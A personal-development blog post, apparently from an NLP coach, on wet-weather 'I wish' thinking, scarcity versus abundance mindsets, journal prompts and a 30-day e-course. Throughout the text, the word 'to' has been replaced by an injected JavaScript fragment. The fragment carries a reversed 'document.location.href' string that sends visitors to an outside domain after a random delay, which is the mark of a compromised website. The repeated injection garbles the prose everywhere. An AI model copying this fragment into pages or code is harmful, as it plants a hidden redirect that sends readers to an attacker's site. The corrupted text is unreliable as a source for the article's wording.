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I’m writing this on a wet Tuesday afternoon in August. It’s meant tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be the height of the summer, and we’ve been fixing our central heating system which went on the blink yesterday.

It’s been one of those days when I can easily fall intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the “I wish…” trap. 

  • I wish it was sunnier.
  • I wish the heating system would never go wrong.
  • I wish I didn’t have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to worry about going shopping or eating out.
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  • I wish I could run like I used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, but I can’t because of my arthritic hips.
  • I wish I could do all the things I used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do.

And of course, “I wish…” can be a dangerous trap tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fall intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to, because it just focuses the mind on all the things that are going wrong, or that I haven’t got. 

Have you got a scarcity mindset?

It’s called a “scarcity mindset”, and quite honestly, it’s tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toxic.

In my courses I often remind people that “your energy flows where your focus goes”. So if you’re focusing on scarcity and lack and problems … guess what you’re going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see even more of?!!

Yikes! Time tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do something about that.

Time for a change for the better

If you don’t want all that – what do you want instead? Instead of a scarcity mindset, you can choose an abundance mindset.

Time tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to focus on all the good stuff that you’ve got going on.

I just sat down and wrote my own little list of “good stuff”, and  “what I want”. Here’s a peek at some of it:

The good stuff/what I want

  • It’s OK that I can’t run NLP training in a classroom at the moment. I’ve had amazing compliments from my most recent NLP training courses. Turns out I absolutely love teaching on Zoom, mainly because my students love the experience tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too!
  • Instead of fretting about not being able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to run, I’ve been focusing on my fitness and health, and instead of running I’m enjoying longer and longer daily walks. Now I’m planning a 62 mile pilgrimage in September.
  • It’s Ok that live events have been cancelled or postponed –  it means I’m finally going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see one of my absolute heroes – Julia Cameron, author of The Artist’s Way – now that her US-only programme has moved on-line and is accessible from the UK.
  • It’s OK that it’s raining tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}today, our garden is looking beautiful from the combination of sun and rain.
  • And loads, loads more …

Are you ready tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make a change for the better?

Here are a few journal prompts that you might like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to use based on this article …

  • Where have you been focusing on scarcity, lack or problems?

 

  • What can you focus on instead, using an abundance mindset?

 

  • What change do you want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make for the better in your life?

 

 

Let me know how you get on with reflecting on these questions. I’d love tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to hear from you. You can pop over tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to my tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring?&utm_source=newsletter&utm_medium=email&utm_campaign=are_you_ready_tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to_make_a_change_for_the_better&utm_term=2020-08-18″ data-link-id=”390427694″ target=”_blank” rel=”noopener noreferrer”>Facebook Group and get involved in the conversation. 

Are you ready tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make a change now?

With all this talk of making changes for the better, perhaps you’d like some help making a change in your life? If so, you’ll love the Mindset Makeover: Make That Change in 30 Days.

It is a self-paced e-course with videos, worksheets and journalling prompts tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help you with the double whammy:

  • make a change in your life – any kind of change from decluttering your house tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to building a new business, from changing a habit tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to changing your career.
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